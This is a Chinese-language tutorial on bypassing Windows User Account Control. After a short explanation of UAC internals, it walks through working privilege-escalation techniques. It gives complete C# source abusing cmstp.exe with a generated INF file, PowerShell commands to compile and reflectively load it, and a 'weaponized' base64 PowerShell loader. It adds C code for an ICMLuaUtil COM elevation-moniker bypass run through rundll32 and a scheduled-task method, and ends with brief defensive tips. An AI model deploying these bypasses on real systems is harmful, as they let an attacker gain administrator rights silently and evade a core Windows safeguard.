随着网络攻击的日益繁多,自windows 7以及后续的windows系统中,微软引入了一种名叫UAC(User Account Control,用户账户控制)的一种安全功能,启用UAC后,在用户没有显示允许的情况下,即便是本地管理员账户也无法更改操作系统,这在很大程度上保护了我们的系统安全,以至后来我们常说的bypass UAC。
UAC(用户账户控制)是微软自windows7以及后续windows系统中引入的一种访问控制功能(之后几乎所有Windows版本都包含了UAC)。UAC的主要目的是确保应用程序只限于标准用户权限,当需要其他权限时,会弹框提示询问 “是否允许以下程序对此计算机进行更改?”,举个小例子,当我们每次安装新软件的时候,都会弹出一个对话框,询问我们是否允许此程序对计算机进行更改
如图:
从图上我们可以看到,如果要获得管理员权限,可以通过以下路径:
这里先来介绍一些与UAC相关的几个名词概念
基本概念:
安全描述符由4部分组成:
(1)SID(表示该对象所有用的SID)
(2)DACL(表示该对象的访问控制策略)
(3)SACL(表示该对象的访问行为的审计策略)
(4)Flag(其他标志信息)
常见SID:
Access Token分为两种(主令牌、模拟令牌)
(1)Group SID
(2)Logon SID
(3)privileges administrator(授权给user的特权)
(1)DACL:用来标志某个安全对象允许被哪些对象访问
(2)SACL:该对象上的存取方式列表,包含读、写、执行
(1)user or group SID
(2)Access Mask object 访问权限
(3)ACE Flag 是可以被子目录继承
(4)ACE Type Allow or Deny
9. 可以直接使用whoami /priv
查看当前用户权限
在触发 UAC 时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。
目前公开的bypass uac的方法
本文主要论述前三种方法
我们先介绍一个开源项目:https://github.com/hfiref0x/UACME ,包括了66种bypass Uac的方法,直接把源码下载本地,用VS2019编译即可,注意对应的SDK版本和平台工具集版本,编译选择Release、x64,然后生成。
列表如下:
AKagi64
可以使用akagi32 41或61
或者akagi64 41或者61
启动程序,41和61
指的是README
中方法索引,运行后可以直接得到管理员权限的cmd
窗口。
Yuubari
会生成一个UacInfo64.exe,可以快速查看系统的UAC设定信息以及所有可以利用的程序和COM组件,会在同一目录下生成一个log文件记录所有输出结果。
利用白名单去bypass UAC的好处就是:进程本身具有管理员权限或者可以直接获取管理员权限的话,就不会弹出UAC框让用户去确认。
这里我们利用微软 "cmstp.exe"去绕过UAC
给出脚本链接:https://gist.github.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1#file-uacbypasscmstp-ps1,我们需要修改代码中第16行为C:\Windows\System32\cmd.exe
,然后运行UACBypassCMSTP.ps1,得到管理员权限的cmd窗口。
我们把脚本扩展一下,使用C#去重写,生成一个带有DLL反射和很少字符串的powershell脚本,给出代码
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;
public class CMSTPBypass
{
public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F
[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7
[AllUSer_LDIDSection]
""HKLM"", ""SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"
[Strings]
ServiceName=""CorpVPN""
ShortSvcName=""CorpVPN""
";
[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);
public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe";
/*生成一个随机的名为.inf的文件,该文件带有要以UAC特权执行的命令*/
public static string SetInfFile(string CommandToExecute)
{
string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
string TemporaryDir = "C:\\windows\\temp";
StringBuilder OutputFile = new StringBuilder();
OutputFile.Append(TemporaryDir);
OutputFile.Append("\\");
OutputFile.Append(RandomFileName);
OutputFile.Append(".inf");
StringBuilder newInfData = new StringBuilder(InfData);
newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
return OutputFile.ToString();
}
public static bool Execute(string CommandToExecute)
{
if(!File.Exists(BinaryPath))
{
Console.WriteLine("Could not find cmstp.exe binary!");
return false;
}
StringBuilder InfFile = new StringBuilder();
InfFile.Append(SetInfFile(CommandToExecute));
Console.WriteLine("Payload file written to " + InfFile.ToString());
ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
startInfo.Arguments = "/au " + InfFile.ToString();
startInfo.UseShellExecute = false;
Process.Start(startInfo);
IntPtr windowHandle = new IntPtr();
windowHandle = IntPtr.Zero;
do {
windowHandle = SetWindowActive("cmstp");
} while (windowHandle == IntPtr.Zero);
System.Windows.Forms.SendKeys.SendWait("{ENTER}");
return true;
}
public static IntPtr SetWindowActive(string ProcessName)
{
Process[] target = Process.GetProcessesByName(ProcessName);
if(target.Length == 0) return IntPtr.Zero;
target[0].Refresh();
IntPtr WindowHandle = new IntPtr();
WindowHandle = target[0].MainWindowHandle;
if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
SetForegroundWindow(WindowHandle);
ShowWindow(WindowHandle, 5);
return WindowHandle;
}
}
命名为"source.cs"
然后我们使用powershell来编译它,在同目录下打开powershell,运行以下命令编译
Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "cmstp-BypassUAC.dll"
然后我们得到了cmstp-BypassUAC.dll
然后我们开始运行加载这个dll,运行如下命令:
[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\cmstp-BypassUAC.dll"))
[CMSTPBypass]::Execute("C:\Windows\System32\cmd.exe")
然后我们就得到了一个管理员权限的cmd窗口
Powershell武器化我们的脚本
现在开始我们实现自动化,我们创建一个powershell脚本,也是使用反射加载。
先把我们生成的dll文件进行base64编码,这里我直接使用ubuntu进行的 base64 -i cmstp-BypassUAC.dll
Powershell脚本如下:
function Bypass-UAC
{
Param(
[Parameter(Mandatory = $true, Position = 0)]
[string]$Command
)
if(-not ([System.Management.Automation.PSTypeName]'CMSTPBypass').Type)
{
[Reflection.Assembly]::Load([Convert]::FromBase64String("这里放入你生成的base64编码")) | Out-Null
}
[CMSTPBypass]::Execute($Command)
}
然后使用powershell运行,成功得到管理员权限的cmd窗口
这里只是拿cmstp举例,可以用来绕过UAC的白名单有很多
COM提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序用提升权限的方法来激活COM类,以此提升COM接口权限。其中,ICMLuaUtil接口中提供了ShellExec方法来执行命令,创建指定进程,实现Bypass UAC操作。
使用权限提升COM类的程序必须通过调用CoCreateInstanceAsAdmin函数来创建COM类,CoCreateInstanceAsAdmin函数的代码可以在MSDN网页( https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms679687.aspx )上找到,下面给出的是CoCreateInstanceAsAdmin函数的改进代码,增加了初始化COM环境的代码。
HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[MAX_PATH] = { 0 };
WCHAR wszMonikerName[MAX_PATH] = { 0 };
HRESULT hr = 0;
// 初始化COM环境
::CoInitialize(NULL);
// 构造字符串
::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
{
return hr;
}
// 设置BIND_OPTS3
::RtlZeroMemory(&bo, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hWnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
// 创建名称对象并获取COM对象
hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
return hr;
}
执行上面的代码,即可创建并激活提升权限的COM类。ICMLuaUtil接口通过上述方法创建后,直接调用ShellExec方法创建指定进程,完成Bypass UAC的操作。
基于ICMLuaUtil接口Bypass UAC的代码如下。
BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
HRESULT hr = 0;
CLSID clsidICMLuaUtil = { 0 };
IID iidICMLuaUtil = { 0 };
ICMLuaUtil *CMLuaUtil = NULL;
BOOL bRet = FALSE;
do {
::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);
// 提权
hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
if (FAILED(hr))
{
break;
}
// 启动程序
hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
if (FAILED(hr))
{
break;
}
bRet = TRUE;
}while(FALSE);
// 释放
if (CMLuaUtil)
{
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}
return bRet;
}
注:如果执行COM提升名称的代码的程序身份是不可信的,则会触发UAC弹窗,若可信,则不会触发UAC弹窗。所以,要想Bypass UAC,则需要想办法让这段代码在Windows的可信程序中运行。这里我们直接通过rundll32.exe来加载DLL,执行COM提升名称的代码。
其中,利用rundll32.exe来调用自定义DLL中的导出函数,导出函数的参数和返回值是有特殊规定的,必须是如下形式。
// 导出函数给rundll32.exe调用执行
void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)
效果如下:
前提:当前用户必须可以访问图形化界面
在命令行输入计划任务
SCHTASKS /Create /sc DAILY /TN bypassUAC /TR cmd.exe /st 16:30 /sd 2020/12/25 /ed 2021/12/25
win + r打开运行命令,输入 taskschd.msc
找到刚刚添加的计划任务,然后右键打开,选择属性
如上设置即可,等到指定时间,自动执行高权限运行
设置过程不触发UAC
注:但实际上很鸡肋,因为已经进入了图形界面了
竟然我们已经理解了UAC原理,那么我们就来说说UAC防御,在windows7/10中,用户账户控制有四个设置,设置选项如下所示。
UAC的默认设置是 只有当程序试图更改我的计算机时才通知我,如果你将UAC设置为始终通知,则某些攻击技术会无效化。
这种技术的另一个好处就是不以管理员的身份运行。即使你拥有该设备,在执行需要的任务时,也要以标准用户的身份工作,并根据需要提升它们的权限。或者针对性的安装杀软,nod,趋势,对BypassUAC攻击的防御效果还不错。